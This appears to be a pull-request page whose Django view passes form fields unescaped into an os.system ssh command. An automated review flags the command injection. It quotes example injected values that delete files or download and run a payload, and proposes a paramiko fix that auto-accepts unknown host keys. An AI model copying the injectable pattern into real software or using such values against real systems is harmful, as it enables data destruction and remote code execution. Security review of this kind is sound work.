Conversation
…tion This commit introduces the following changes: - Added `ConnectAndRunScriptView` for executing scripts on remote servers via SSH. - New URL patterns for `syscall` and `connect-and-run` pages. - Created a new template for the connect and run functionality. - Enhanced the base template with improved navigation links and Bootstrap integration.
|
Important Review skippedAuto reviews are disabled on base/target branches other than the default branch. Please check the settings in the CodeRabbit UI or the You can disable this status message by setting the 🪧 TipsChatThere are 3 ways to chat with CodeRabbit:
SupportNeed help? Create a ticket on our support page for assistance with any issues or questions. Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments. CodeRabbit Commands (Invoked using PR comments)
Other keywords and placeholders
CodeRabbit Configuration File (
|
| def post(self, request): | ||
| server = request.POST.get("server", "") | ||
| username = request.POST.get("username", "") | ||
| script = request.POST.get("script", "") | ||
| cmd = f'ssh {username}@{server} "bash /opt/scripts/{script}.sh"' | ||
| os.system(cmd) |
There was a problem hiding this comment.
Critical Security Vulnerability: Command Injection Risk
The current implementation creates a severe command injection vulnerability by directly interpolating user-provided inputs (server, username, and script) into a shell command without proper sanitization:
cmd = f'ssh {username}@{server} "bash /opt/scripts/{script}.sh"'
os.system(cmd)An attacker could inject malicious shell commands by providing specially crafted input such as:
username = "legitimate_user; rm -rf / #"server = "legitimate_server; wget malicious_payload && chmod +x malicious_payload && ./malicious_payload"
Recommended fixes:
- Use a secure SSH library like
paramikoinstead ofos.system() - If
os.system()must be used, implement strict input validation:- Whitelist allowed characters for each parameter
- Validate server names against expected formats
- Escape special characters
This vulnerability requires immediate attention as it could lead to remote code execution on both the application server and the target SSH server.
| def post(self, request): | |
| server = request.POST.get("server", "") | |
| username = request.POST.get("username", "") | |
| script = request.POST.get("script", "") | |
| cmd = f'ssh {username}@{server} "bash /opt/scripts/{script}.sh"' | |
| os.system(cmd) | |
| def post(self, request): | |
| server = request.POST.get("server", "") | |
| username = request.POST.get("username", "") | |
| script = request.POST.get("script", "") | |
| # Input validation | |
| import re | |
| if not re.match(r'^[a-zA-Z0-9._-]+$', server) or not re.match(r'^[a-zA-Z0-9._-]+$', username) or not re.match(r'^[a-zA-Z0-9._-]+$', script): | |
| return HttpResponse("Invalid input parameters", status=400) | |
| # Use paramiko for secure SSH | |
| import paramiko | |
| client = paramiko.SSHClient() | |
| client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
| try: | |
| client.connect(server, username=username) | |
| stdin, stdout, stderr = client.exec_command(f"bash /opt/scripts/{script}.sh") | |
| result = stdout.read().decode('utf-8') | |
| error = stderr.read().decode('utf-8') | |
| client.close() | |
| if error: | |
| return HttpResponse(f"Error: {error}", status=500) | |
| return HttpResponse(result) | |
| except Exception as e: | |
| return HttpResponse(f"Connection error: {str(e)}", status=500) |
Spotted by Diamond
Is this helpful? React 👍 or 👎 to let us know.
This commit introduces the following changes:
ConnectAndRunScriptViewfor executing scripts on remote servers via SSH.syscallandconnect-and-runpages.